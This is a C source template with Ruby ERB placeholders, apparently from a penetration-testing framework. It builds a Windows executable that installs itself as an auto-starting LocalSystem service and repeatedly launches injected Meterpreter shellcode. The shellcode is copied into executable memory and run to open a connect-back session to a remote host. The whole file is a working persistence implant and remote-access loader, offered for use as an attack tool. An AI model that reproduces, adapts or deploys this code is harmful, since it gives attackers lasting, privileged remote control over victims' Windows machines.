#include <String.h>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>

#define SERVICE_NAME     <%= @service_name.inspect %>
#define DISPLAY_NAME     <%= @service_description.inspect %>
#define RETRY_TIME       <%= @retry_time %>

//
// Globals
//

SERVICE_STATUS status;
SERVICE_STATUS_HANDLE hStatus;

//
// Meterpreter connect back to host
//

void start_meterpreter()
{
// Your meterpreter shell here
  <%= buf %>

  LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(buffer,buf,sizeof(buf));
  HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
  WaitForSingleObject(hThread, -1); //INFINITE
  CloseHandle(hThread);
}

//
// Call self without parameter to start meterpreter
//

void self_call()
{
    char path[MAX_PATH];
    char cmd[MAX_PATH];

    if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
        // Get module file name failed
        return;
    }

    STARTUPINFO startup_info;
    PROCESS_INFORMATION process_information;

    ZeroMemory(&startup_info, sizeof(startup_info));
    startup_info.cb = sizeof(startup_info);

    ZeroMemory(&process_information, sizeof(process_information));

    // If create process failed.
    // CREATE_NO_WINDOW = 0x08000000
    if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
                      NULL, &startup_info, &process_information) == 0)
    {
        return;
    }

    // Wait until the process died.
    WaitForSingleObject(process_information.hProcess, -1);
}

//
// Process control requests from the Service Control Manager
//

VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
{
    switch (fdwControl) {
        case SERVICE_CONTROL_STOP:
        case SERVICE_CONTROL_SHUTDOWN:
            status.dwWin32ExitCode = 0;
            status.dwCurrentState = SERVICE_STOPPED;
            break;

        case SERVICE_CONTROL_PAUSE:
            status.dwWin32ExitCode = 0;
            status.dwCurrentState = SERVICE_PAUSED;
            break;

        case SERVICE_CONTROL_CONTINUE:
            status.dwWin32ExitCode = 0;
            status.dwCurrentState = SERVICE_RUNNING;
            break;

        default:
            break;
    }

    if (SetServiceStatus(hStatus, &status) == 0) {
        //printf("Cannot set service status (0x%08x)", GetLastError());
        exit(1);
    }

    return;
}


//
// Main function of service
//

VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
{
    // Register the service handler

    hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);

    if (hStatus == 0) {
        //printf("Cannot register service handler (0x%08x)", GetLastError());
        exit(1);
    }

    // Initialize the service status structure

    status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
    status.dwCurrentState = SERVICE_RUNNING;
    status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    status.dwWin32ExitCode = 0;
    status.dwServiceSpecificExitCode = 0;
    status.dwCheckPoint = 0;
    status.dwWaitHint = 0;

    if (SetServiceStatus(hStatus, &status) == 0) {
        //printf("Cannot set service status (0x%08x)", GetLastError());
        return;
    }

    // Start the Meterpreter
    while (status.dwCurrentState == SERVICE_RUNNING) {
        self_call();
        Sleep(RETRY_TIME);
    }

    return;
}


//
// Installs and starts the Meterpreter service
//

BOOL install_service()
{
    SC_HANDLE hSCManager;
    SC_HANDLE hService;

    char path[MAX_PATH];

    // Get the current module name

    if (!GetModuleFileName(NULL, path, MAX_PATH)) {
        //printf("Cannot get module name (0x%08x)", GetLastError());
        return FALSE;
    }

    // Build the service command line


    char cmd[MAX_PATH];

    int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
    if (total_len < 0 || total_len >= sizeof(cmd)){
        //printf("Cannot build service command line (0x%08x)", -1);
        return FALSE;
    }

    cmd[0] = '\0';
    strcat(cmd, "\"");
    strcat(cmd, path);
    strcat(cmd, "\" <%= @start_cmd %>");

    // Open the service manager

    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);

    if (hSCManager == NULL) {
        //printf("Cannot open service manager (0x%08x)", GetLastError());
        return FALSE;
    }

    // Create the service

    hService = CreateService(
        hSCManager,
        SERVICE_NAME,
        DISPLAY_NAME,
        0xf01ff,            // SERVICE_ALL_ACCESS
        SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL,
        cmd,
        NULL,
        NULL,
        NULL,
        NULL,   /* LocalSystem account */
        NULL
    );

    if (hService == NULL) {
        //printf("Cannot create service (0x%08x)", GetLastError());

        CloseServiceHandle(hSCManager);
        return FALSE;
    }

    // Start the service

    char* args[] = { path, "service" };

    if (StartService(hService, 2, (const char**)&args) == 0) {
        DWORD err = GetLastError();

        if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
        {
            //printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);

            CloseServiceHandle(hService);
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    // Cleanup

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);

    //printf("Service %s successfully installed.", SERVICE_NAME);

    return TRUE;
}

//
// Start the service
//

void start_service()
{
    SERVICE_TABLE_ENTRY ServiceTable[] =
    {
        { SERVICE_NAME, &ServiceMain },
        { NULL, NULL }
    };

    if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
        //printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
        exit(1);
    }
}


//
// Main function
//

int main()
{
    // Parse the command line argument.
    // For now, int main(int argc, char *argv) is buggy with metasm.
    // So we choose this approach to achieve it.
    LPTSTR cmdline;
    cmdline = GetCommandLine();

    char *argv[MAX_PATH];
    char * ch = strtok(cmdline," ");
    int argc = 0;

    while (ch != NULL)
    {
       argv[argc] = malloc( strlen(ch)+1) ;
       strncpy(argv[argc], ch, strlen(ch)+1);

       ch = strtok (NULL, " ");
       argc++;
    }

    if (argc > 1) {

        if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {

            // Installs and starts the service

            install_service();
            return 0;
        }
        else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
            // Starts the Meterpreter as a service

            start_service();
            return 0;
        }
    }

    // Starts the Meterpreter as a normal application

    start_meterpreter();

    return 0;
}
